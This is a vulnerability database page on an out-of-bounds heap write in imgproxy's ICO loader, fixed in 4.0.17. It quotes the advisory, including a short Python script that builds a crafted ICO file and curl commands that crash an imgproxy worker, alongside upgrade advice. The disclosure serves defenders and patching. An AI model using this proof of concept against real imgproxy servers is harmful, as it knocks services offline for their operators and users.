imgproxy has out-of-bounds heap read/write in ICO loader BMP header reconstruction that allows unauthenticated remote worker crash
Affects imgproxy 3.3.0 through 4.0.16 when it processes an attacker-supplied ICO image through its ICO loader. Fixed in 4.0.17.
- Last modified
- Where the record stands: published, rejected by its publisher, or superseded by another id.What do these mean? →
- published
- Whether CISA lists it in its Known Exploited Vulnerabilities catalog: proof that attackers are using it.What do these mean? →
- Not listed in CISA KEV
- How many real-world setups can hit the bug, from the vendor's advisory and CISA data. It does not know your setup.What do these mean? →
- Unclear
- The rating the maker of the software gives it. Shown when it differs from the CVSS level.What do these mean? →
- High (ghsa)
- Fix
- Fixed in 4.0.17
- Whether working attack code is public (Exploit-DB, Metasploit, Nuclei or GitHub). Public code makes attacks easier.What do these mean? →
- None on Exploit-DB, Metasploit or GitHub
Summary
imgproxy, an image processing server, is affected by an out-of-bounds heap memory corruption flaw in its ICO image loader. A remote, unauthenticated attacker who submits a specially crafted ICO image can crash the imgproxy worker process, causing a denial of service.
Summarized by anthropic/claude-haiku-5.5. Verify details against the original sources.
Read the original description
Out-of-bounds heap write in imgproxy's ICO loader (`vips/icoload.c`): when the ICO entry's image data buffer is small, the loader's BMP-header-reconstruction writes land past the allocation, corrupting the size field of the following heap chunk. The worker then aborts deterministically (glibc `munmap_chunk(): invalid pointer` → SIGABRT → Go panic, exit code 2). Details In `vips_foreign_load_ico_header` in `vips/icoload.c`, after the ICO entry's image data is read into a heap buffer of `data_size + 14` bytes, the loader reconstructs a BMP file header in front of it using fields read from the ICO's internal BITMAPINFOHEADER: ``` uint32_t num_colors = GUINT32_FROM_LE(*(uint32_t *) (actual_data + 32)); // unvalidated uint16_t bpp = GUINT16_FROM_LE(*(uint16_t *) (actual_data + 14)); // unvalidated ``` ``` if ((num_colors == 0) && (bpp <= 8)) pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * (1 << bpp); else pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * num_colors; ``` ``` int32_t height = GINT32_FROM_LE(*(int32_t *) (actual_data + 8)); // readable past the buffer height = height / 2; ``` With a crafted entry declaring a tiny `data_size` (e.g. 1 byte), all of these reads (offsets +8, +14, +32) go past the allocation, and the reconstructed-header writes land past the end of the buffer — specifically a 32-bit `height/2`-derived value at `alloc+22..+25`, overwriting the LSBs of the size field of the physically following heap chunk. The corrupted size is always `original_size >> 1` and, in cgo thread arenas, the `NON_MAIN_ARENA` bit lands in the `IS_MMAPPED` position of the corrupted word such that the next `free()` of the victim deterministically takes glibc's `munmap_chunk()` abort path, killing the worker. Depending on heap state, the worker returns 500 for the triggering request and aborts on the corrupted chunk's free; in observed production geometry it dies on the same request (exit code 2). PoC ```py make_ico_oob.py — generates the exact 23-byte OOB-write trigger. Byte-identical to the checksummed, production-verified file: ico-oob.ico sha256 075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1 import struct, hashlib hdr = struct.pack('<HHH', 0, 1, 1) # reserved, type=ICO, count=1 16x16, 0 colors, 0 reserved, 1 plane, 32 bpp, data_size=1, data_offset=0x16. The tiny data_size (1) makes the loader's BMPINFOHEADER field reads (data+8/+14/+32) and header-reconstruction writes go past the 1+14=15-byte allocation. entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 1, 0x16) data = b'\xAA' # the single declared image byte blob = hdr + entry + data assert hashlib.sha256(blob).hexdigest() == \ '075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1' open('ico-oob.ico', 'wb').write(blob) print(f"ico-oob.ico: {len(blob)} bytes [VERIFIED]") ``` ``` imgproxy v4.0.15 with local file sources enabled: IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-oob.ico@png" → request fails at transport level (connection reset / empty reply) or HTTP 500; worker dies: munmap_chunk(): invalid pointer → SIGABRT → Go panic dump → exit code 2. One request, one dead worker. curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/normal.ico@png" → HTTP 200, valid thumbnail (control) ``` Impact Out-of-bounds write; demonstrated impact is denial of service (worker crash per crafted request). Any imgproxy deployment from the 3.3.x ICO-support series through v4.0.15 (latest at time of report) that processes attacker-supplied images.
Timeline
- Advisory published
- Record last updated
- First seen by cve.now
Affected versions
- github.com/imgproxy/imgproxy/v3Go
From 3.3.0 · fixed in 4.0.17
References 5
GitHub · imgproxy/imgproxy
Questions about GHSA-494M-4556-WF5P
What does this mean?
The ICO image loader writes past the end of a heap buffer during BMP header reconstruction, corrupting heap metadata. The advisory's demonstrated impact is denial of service, where a crafted request crashes the imgproxy worker process.Source: github.com
Am I affected, and how do I check?
The github.com/imgproxy/imgproxy/v3 module from 3.3.0 through 4.0.16 is in the affected range, and the bug is reached only when imgproxy processes an attacker-supplied ICO image through its ICO loader. Compare the imgproxy version in use against that range to see whether it falls inside it.Source: github.com
What should I do about it?
Upgrade imgproxy to 4.0.17 or later, which is the fixed version in the affected range.Source: github.com
Is it being exploited?
It is not in CISA's Known Exploited Vulnerabilities catalog, and CISA's SSVC assessment does not mark exploitation as active. That does not mean it has not been attacked: vendors and researchers can report attacks before CISA lists them. No public exploit code is tracked.Source: cve.now feed data